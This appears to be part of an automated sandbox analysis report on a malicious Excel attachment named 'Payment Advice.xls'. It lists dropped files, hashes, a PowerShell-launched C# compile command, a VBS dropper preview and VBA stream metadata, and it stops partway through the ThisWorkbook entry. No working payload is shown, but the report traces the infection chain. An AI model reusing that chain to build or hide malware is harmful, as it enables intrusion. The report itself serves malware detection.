Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.0.cs"

C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8209884518185073
Encrypted:	false
SSDEEP:	24:etGS/sPBG5eM7p8qqZ/k4YzPtkZf3CqhkWI+ycuZhNnakS5PNnq:6/jsM+qfzuJ3CEH1ulna37q
MD5:	73728E36E0471D6EA8DB9494F003D0F5
SHA1:	1B809E2486C173849D52ACE3FC8CAE3A2AFB7F40
SHA-256:	AD459B1E41F36264C3A662A1441FB27823B4F13C28473F94F78190AD6101A3F7
SHA-512:	CF963E91123296BFBE8C562FA1B8039EEA2CACAB679A1FC0F02C1333EF475944BC252071EA45246C7C08B0D4AC34A94FF0135AF4B31114CAEACAF16EB17E65F8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1......q.....q.......................................... 8.....P ......J.........P.....T....._.....b.....n...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.f2

C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.348874650280025
Encrypted:	false
SSDEEP:	24:AId3ka6KzzEoOKaMD5DqBVKVrdFAMBJTH:Akka60zEoOKdDcVKdBJj
MD5:	72C160946BEE428E8EA3BA4780F16F28
SHA1:	701BFC570D114B60ABB7AE1912DD4D226A6EA0ED
SHA-256:	7F97254DF67B8D6BD6A082AE72186C4146D5975DDB9B3E11FDF8D7AB4E0F7322
SHA-512:	8FD3DAED72B18FB82F9DC5AB2F2087B8A3376FEABE0A8695FFBDB27824596E4BD7816D0D2217C98FE98F03790BD9055ACE870B2801DABB193260F9C215F2EF95
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\fwlxjcj1.far.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\g5sxyqzp.igl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\gbxy11cd.xku.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\hvufkav3.xwz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\j342xw3p.lca.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\o101k1eb.rci.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ofnoeyj2.jb3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ojtid1cu.x1o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\roddab1g.w0x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\uhqghqyp.nld.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\vnvjvi51.eel.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF01C0441D5BE0A5E1.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFBA09452E869949F1.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE96D4E8D4C0FD3D9.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	139966
Entropy (8bit):	3.69799018379228
Encrypted:	false
SSDEEP:	3072:poJS7YQkRBCKlgt5pVIYGwOeawyhrb7w/yIdHBVgukzL/fFQEV:q7w/yIlBVgv
MD5:	6A8A8B5A54471FC9F8A6A4E5814AEED4
SHA1:	7FEF3D6A517E9272F322CC215413F2A9D0C8B48B
SHA-256:	4FB0AFE34F0979452EC3EBF6C9879222D5D4B2B30B3B7A49FE7D13700AFA2F5E
SHA-512:	7D2DA03D505EA16590CC7E6D5D64816E28DCE29EBC7F6E6A828189339D57F5D7F6535E7E81EB01C907B92B99EC7F7B271B5A93886CF2DDF0D0C75EBE2E10970F
Malicious:	true
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .a.l.e.n.t.a.d.a.m.e.n.t.e.)..... . . . .d.i.m. .a.n.d.o.a.r.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .a.n.d.o.a.r..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .a.n.d.o.a.r.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .p.r.o.

C:\Users\user\Desktop\DA430000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Oct 25 18:46:48 2024, Security: 1
Category:	dropped
Size (bytes):	1072128
Entropy (8bit):	7.364979602807777
Encrypted:	false
SSDEEP:	12288:dmzHJEyfN1YpdBPV39cZEwD3DERnLRmF8DFGf27QO8hJ4GR0ef/XQRLhbC:khfgpZ3FwbARM8hGVL4ve3gRY
MD5:	5D7ADAAD0056D962D7205B51AFB2FB74
SHA1:	432F9A7ABFF7E6C9180047C307BEF746BA55AB86
SHA-256:	28371DB5D2FFA1A879C4521A629B42E3243ACBB975FB976CA175BE2720136063
SHA-512:	6409B981BE27D930256BD3AA07695A5B5C63C2322AA9AF4A2D671C7CD6D11C5573F7AB12FD7448410A71D2671609FE7D438D3528BA92C793C2854FB2E442640B
Malicious:	false
Preview:	......................>.......................................................................7...............................c.......e................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\DA430000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Payment Advice.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Oct 25 18:46:48 2024, Security: 1
Category:	dropped
Size (bytes):	1072128
Entropy (8bit):	7.364979602807777
Encrypted:	false
SSDEEP:	12288:dmzHJEyfN1YpdBPV39cZEwD3DERnLRmF8DFGf27QO8hJ4GR0ef/XQRLhbC:khfgpZ3FwbARM8hGVL4ve3gRY
MD5:	5D7ADAAD0056D962D7205B51AFB2FB74
SHA1:	432F9A7ABFF7E6C9180047C307BEF746BA55AB86
SHA-256:	28371DB5D2FFA1A879C4521A629B42E3243ACBB975FB976CA175BE2720136063
SHA-512:	6409B981BE27D930256BD3AA07695A5B5C63C2322AA9AF4A2D671C7CD6D11C5573F7AB12FD7448410A71D2671609FE7D438D3528BA92C793C2854FB2E442640B
Malicious:	true
Preview:	......................>.......................................................................7...............................c.......e................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Oct 25 05:31:16 2024, Security: 1
Entropy (8bit):	7.343592395581285
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Payment Advice.xls
File size:	1'081'344 bytes
MD5:	e7b0128fdc780e228be72adbed8765c4
SHA1:	4a7456b2d6422c33f8f7aafa302cd43c8d2d5033
SHA256:	c03299410145508191967d0544203e1aed4fc9886b7b11d6d4f05500d002a786
SHA512:	da2da848812a40e02e547f6c047baa345492839ac322965721c1988ba862ae3535edb1f9928359db9d64df4eacfd0bcf4e412eaa762cb88e712f2d8b5a56f5b8
SSDEEP:	12288:nmzHJEyfN1Y1uBPj39wZE8D3DERnLRmF8D6IHf8wh9HN8zFykCGrqD:uhfg14318bARM8FH/hX85yhz
TLSH:	B835AED3AA198F66ED560230A6F3876E5324CC83C522472F22F4772839F7794255AF8D
File Content Preview:	........................>.......................................................................7...............................c.......e......................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Payment Advice.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-10-25 04:31:16
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C . - . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 43 d6 ad 2d 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 43 d6 ec 1a 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C G t . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 43 d6 47 74 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
